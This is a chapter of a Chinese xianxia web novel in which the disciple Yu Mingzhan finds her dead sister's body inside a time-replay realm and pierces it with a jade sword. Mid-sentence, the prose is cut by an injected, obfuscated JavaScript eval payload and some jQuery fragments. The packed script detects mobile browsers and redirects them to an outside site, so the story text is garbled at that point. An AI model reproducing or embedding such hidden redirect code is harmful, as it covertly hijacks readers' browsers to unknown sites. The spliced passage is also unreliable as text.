月色下,山洞口,一双白皙的手不可察觉地颤抖,手背上的青筋若隐若现。
沈念一条手臂环着玉明盏半身,让她靠在自己怀里,另一只手紧紧地握着她冰冷的手。
她在梦中仍不安分,神情痛苦,她的呓语他听不懂。玉明盏梦到难受之处会挣扎着想缩起来,沈念便会托着她往自己怀里靠一靠,再渡更多灵力过去。
一条青紫色的筋脉从她腕上脖颈上浮现,是某种毒素发作。
想起天城里的那一幕,沈念仍然后怕。
是怎样的痛苦才会让她决绝至此。
日出时,彩霞覆过层林,日月悬晷的仙力恢复。沈念感觉到她的手指动了动。
意识慢慢恢复的玉明盏哑声道:“痛……”
她无意识的发抖让沈念心颤,他问她:“痛在哪里?”
“手……好痛。”
沈念此时才发现自己不自觉地把她的手捏得太紧,剑修的握力轻轻一下就能把人弄疼,他连忙把手松开。玉明盏的指尖被他捏得泛白,一松开便聚起了血色。
沈念小心地给她揉按:“还有哪里不舒服?”
刚刚醒来的玉明盏不接他的话。她满心的茫然。
一睁眼,意识清晰过来。她浑身酸痛,被沈念扶着慢慢坐起来,扫视一圈。入目是一座深洞,没有除了同伴之外的活物。环境中灵力平稳得诡异。
方才在唐家的所有是大梦一场么?
“映星还没醒?她还好吗?这是哪里?”
贺明朝道:“柳师妹没事,修为薄没承住冲击晕眩了而已。你不如想想你自己。身上有不适没有?”
玉明盏从外表看上去很完整,除了一些皮外伤,没有太大的伤口。沈念和贺明朝两人都不通医道,除了探出她灵力损耗极大,其余的内伤等看不出来,只能等她自己察觉。
沈念道:“要不要用瞳术……”
玉明盏摇头:“不用,我没事。我们在哪里?这是出去了吗?”
贺明朝恨铁不成钢一般:“哎你这小姑娘。我们离出去还远呢,因果线收束了,但回溯还在继续,这是另一个场景。”
“你怎么知道?”
“无相鉴还是用不了。”
玉明盏心间的大石落下了。
还好还未出去,否则再进日月悬晷就难了。
放松之后,玉明盏突然感到一阵晕眩,不由扶着自己的额头,沈念一刻也不敢移开目光地盯着她。
她道:“这里的灵力不一样。”
贺明朝很迷惑:“哪不一样?”
沈念道:“你慢些……起得太快会头晕。”
“师兄没有感受到吗?”
沈念安静着感知了一会:“没有。我所感知仍是仙力。“
石钟乳的水滴下落,发出的啪嗒声,宛如在计算朝夕。
这里很像,又不全然一样。
像巫山神魂所在之处。
玉明盏左手中攥着东西,她摊开手掌,入目一块天水碧。
青鸟衔枝,得天赐言。
一段不属于她的记忆划过,玉明盏脑海中印下一句话:
“得巫山者得天下。”
贺明朝眼眸微动,见了她掌心那块天水碧色的石头:“青鸟化石,神魂传讯;得字注定,乃天之授意。当是一段预言。”
玉明盏有一时的恍惚。
预言,也就是……终会有人“得巫山”吗?
玉明盏伸手一召,佩剑飞入手中,剑身满是各种深浅凝固的血。玉明盏把剑翻了个面,苍白的指尖一勾,最深色的血便浮出,沈念与贺明朝见证着她把大妖的血捏成一条极细又长的线。
悬于空中,延展入洞穴深处,似有所指。
贺明朝道:“命线。”
以血为引,聚出一条命线,会引他们到大妖生前所执之物。
玉明盏没有告诉他们自己用了什么术法,只道:“带上映星,跟着它走。”
-
传说天地神魂无相无形,巫山神魂却是有形的,只因其变幻无常,从未有人能以语言或画面概述。
到了神魂面前,命线也散了。
伏在沈念背上的玉明盏拍了拍师兄的肩:“放我下来吧。”
毕竟是日月悬晷的回溯,它没有真正的巫山灵力,所以沈念与贺明朝全然以为这是仙家的风水宝地。只玉明盏知道,命线所指的,并非神魂本身,而是被浩瀚似海的灵力所守护的另一样东西。
她的目光顺着命线消失的地方看去,如瀑的灵力坠向一人之身,一名玄衣男子静静地躺在地上,面容平静得像是睡着了,气息却是全然消失。
或许是受到这段过去的主人的记忆影响,贺明朝无意识地道出了他的名字:“云吟……”
传说中,他是琴剑仙的爱人。
琴剑仙于十六年前陨落,贺家的记载未曾对她的爱人落下太多笔墨。当下所见,他也不过二十岁出头的青年年纪,虽修道者多驻颜,肉身的模样也与神魂的形象相仿,此人由内至外都十分年轻。贺明朝意识到他是修为深厚的琴剑仙的爱人之后,不由得一怔。
贺明朝转向玉明盏欲说些什么,后者盯着云吟许久,忽然蹒跚地迈步向前去。
“……师妹,不可。”沈念觉得她此时受不住那边的灵力,上前拉住她的手,却握不住,无论他怎么尝试都从他掌中滑脱。
玉明盏轻易便到了云吟身前,然后晃晃悠悠地堪堪坐下。
其他三人接近那里,都被灵力挡开,宛如一道无形的墙。
玉明盏对身后发生的事,甚至沈念的挽留,都毫无察觉。
因为她所见的,并非青年云吟。
一张极美极美的脸,平时总是对她笑着。平静时带着几分不可接近的庄严,轻翩的身姿在祭台上起舞,伴着巫山灵力,像在发光。那是玉明盏一生中最最温柔的人。
巫山神女玉灵,玉明盏的姐姐。
三千回忆涌上心头,伴着神魂消失时的悲戚,玉明盏鼻子一酸。她就躺在这里,那样平静,玉明盏指腹轻轻抚上她的脸,恍然间似乎有余温。
故人重逢,心头是无尽苍凉。
上一刻还在用各种方法试图突破灵力的贺明朝与柳映星,见她这番模样,都不愿去打扰。
玉明盏的手,从姐姐的脸上行至苍白的脖颈。她第一次觉得,姐姐是那样脆弱。
她触到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534813|186496||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姐姐胸前所置的,半通透的石头,指尖一凉。它内里的灵力一如巫山灵力,千变万化。
这段过去的主人的记忆探入她的脑海,玉明盏认出仙家至宝灵水玉。
它与姐姐都一动不动。灵水玉底下的心脉无一丝生命痕迹,她的躯壳空空,神魂已经无踪无迹。
不论玉明盏活多久,不论玉明盏是否轮回,都再无法与姐姐相逢,比生死之间,更隔了一道永恒。
玉明盏不害怕姐姐不在后的十年、二十年,可她害怕一百年、一千年,像是她的心脏中有一块地方永远地熄灭了。
玉明盏尤记得沈念告诉她“如丹砂那般可以起死回生。”
白得几乎没有血色的手覆上那枚小小的石头。
就是沈念也不再动了。
所有人的目光聚在这个十六岁姑娘的指尖,贺明朝道:“若明师妹在这条因果中选错,咱可就出不去日月悬晷了。有羲和仪在也是徒劳。”
他们已经卷入了日月悬晷的因果,因果之事,牵一发而动全身。
日月悬晷难闯,其难度就在此。
几人身后的旭日渐升至中天,再一点一点地西沉,遥远的天边抽出万丈霞光。
玉灵爱看霞光,她那双观景的眼睛,总好像带着三分倦意。
玉明盏总觉得她有些难过。
于是小小一团的玉明盏拉着姐姐的衣袖:“姐姐,我为什么不叫玉霞?”
玉灵含笑低头看她:“盏儿为什么想叫做霞呀?”
玉明盏的眼睛忽闪忽闪:“因为姐姐一直看晚霞,不看我,姐姐是不是更喜欢晚霞一点?”
“我当然更喜欢盏儿了。”
她笑着,眼睛却无比湿润:“盏儿,你的名字寓意着你是一盏明灯,明灯比晚霞更好。”
“为什么?”
玉灵沉默了许久,她后来说的话,只她们两人听得见。
那一枚小小的灵水玉,已经被玉明盏举起。
一滴眼泪,无声地掉到玉灵的脸颊上,迅速地散开、流去。
像是身后有一场大火,玉明盏的影子投到玉灵的身上。
“对不起,姐姐。”
玉明盏握着灵水玉的指节用力得发白。
巫山灵力注入灵水玉,离她不过几步之遥的三人清晰地看见那石头越来越亮。
贺明朝道:“不好——”
纤细的手腕一翻,便多出了一把剑,那是一把很美的剑,不是玄铁而是玉的身体,光洁如新,通体映射着寒光。
没有丝毫犹豫,玉明盏用那把剑贯穿了姐姐的身体。
三人俱是一愣。
只沈念发现,玉明盏执剑的手有细小的颤动,像是在竭尽全力地忍耐着某种冲动。
沈念心里一阵钝痛。
玉明盏的手中剑流泻的并非光华,注入姐姐身体的也并非所谓的仙力。
是灵水玉的灵力。
执剑之人与剑灵力相接,气脉相连,灵水玉是一把剑,而更让玉明盏嗤笑的,是她手中剑的灵力来源。
那灵力毫无阻碍地流进玉明盏的身体,一点一点地弥合她脆弱不堪的神魂。
不是巫山神魂又是什么?